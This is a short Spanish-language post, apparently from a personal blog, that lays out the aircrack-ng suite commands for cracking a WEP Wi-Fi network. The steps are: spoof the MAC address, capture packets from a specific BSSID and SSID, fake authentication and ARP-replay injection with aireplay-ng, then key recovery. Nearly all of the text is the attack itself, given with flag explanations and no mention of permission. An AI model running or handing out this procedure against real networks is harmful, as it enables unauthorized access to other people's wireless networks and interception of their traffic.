Wep

2015-09-06

```
airmon-ng
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
```

–AHORA EMPEZAMOS–

```
airodump-ng wlan0
```

```
airodump-ng -c '6' -w 'paquetes' --bssid 'A0:21:B7:D5:A8:78' wlan0
```

-c = canal (CH), -w = lugar donde se guardan los paquetes, –bssid = es el BSSID

```
aireplay-ng -1 0 -a 'A0:21:B7:D5:A8:78' -h '00:11:22:33:44:55' -e 'wifyrocky' wlan0
```

-a = BSSID que atacamos, -h = mac nuestra, -e = nombre wify que atacamos

```
aireplay-ng -3 -b 'A0:21:B7:D5:A8:78' -h '00:11:22:33:44:55' wlan0
```

-b = BSSID que atacamos, -h = mac nuestra

```
aircrack-ng 'paquetes-01.cap'
```

donde están guardados los paquetes